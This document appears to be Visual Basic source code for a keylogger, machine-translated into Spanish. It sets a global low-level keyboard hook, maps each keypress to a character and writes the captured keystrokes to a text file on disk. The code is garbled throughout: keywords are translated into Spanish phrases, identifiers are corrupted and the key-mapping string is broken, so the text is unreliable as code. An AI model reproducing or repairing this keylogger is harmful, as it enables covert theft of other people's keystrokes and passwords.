Código fuente del registrador de teclas
Tipo público EVENTMSG
vKey siempre y cuando
sky siempre y cuando
marcado como largo
time Misma longitud
Tipo final
Declarar la función desenganchar windowshookex Lib "usuario 32" (ByVal hHook As Long) como Long
Declarar la función SetWindowsHookEx Lib " usuario 32" "Alias "setwindowshookxa" (ByVal id hook es Long, ByVal lpfn es Long, ByVal hmod es Long, ByVal dwThreadId es Long) declarado como Long
Declarar función CallNextHookEx Lib "usuario 32" (ByVal hHook es Long, ByVal ncode es Long, ByVal wParam es Long, lParam es Long) es Long
public Declare Sub-copia de memoria Lib "kernel 32" alias "RtlMoveMemory" (el objetivo es cualquiera, el origen es cualquiera, la longitud de ByVal es Larga)
Exponer mi mensaje como un mensaje de evento
Constante pública WH _Keyboard_LL = 13
Const pública WM _ KEYDOWN = ampH100 p >
Libros y revistas públicas.
, i, appStr$, SBUF$, pos1$(), pos2$()
Datos de inicialización de Sub ints()
AppStr = " from " now amp" de la siguiente manera; Forma de iniciar la grabación de teclado..."; vbCrLf
SBUF = " 96 _ 0 | 102 _ 6 | _ 7 | 104 _ 8 | 105 _ 9 | 106 _ * | 65 _ C | _ F | 71 _ G | 72 _ M 78 _ N | 115 _ F4 | 116 _ F5 | 117 _ F6 | 165438
pos1 = Dividir(SBUF, "|"): ReDim pos2$(256)
Para i = 0 a UBound ( pos1) - 1
pos 2(Val(pos1(i)))= Mid(pos 1(I), InStr(1, pos 1(I), " _ " 1)
Entonces
Conector final
La función pública MyKBHook (ByVal ncode es Long, ByVal wParam es Long, ByVal lParam es Long) es Long
Si ncode = 0, entonces
Si wParam = WM_KEYDOWN, entonces
CopyMemory mymsg, ByVal lParam, Len(mymsg)
appStr = appStr amppos2(mymsg.vKey ) y amp" "
Las estructuras End If ' y de juicio del bucle se eliminan por completo y se reemplazan por las matrices correspondientes definidas
End if...
MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam)
Función final
Parte del formulario
Clave subform_Load privada()
vista previa = 1: modo de escala = 3: dibujo automático = 1: caption = "Grabación de Keynote"
Datos de inicialización del módulo 1.ints
hHook = SetWindowsHookEx(WH _Keyboard_LL, dirección de MyKBHook, App.hInstance, 0)
Si hHook = 0, finaliza
Finalizar conector
Subformulario privado_Descargar (cancelar a número entero)
Cuando Call UnhookWindowsHookEx(hHook)' el programa se cierra.
Abrir el apéndice 'd:\getkey.txt' como #1' Abrir texto.
Impresión número 1, módulo 1. Registro único de Appstr.
Imprimir #1, " a " ; ahora() y "Fin!" ampvbCrLf
Cerrar #1
Finalizar conector
Private Sub Form_KeyDown(KeyCode es un número entero, Shift es un número entero)
Si KeyCode = vbKeyEscape entonces desinstálame
Conector final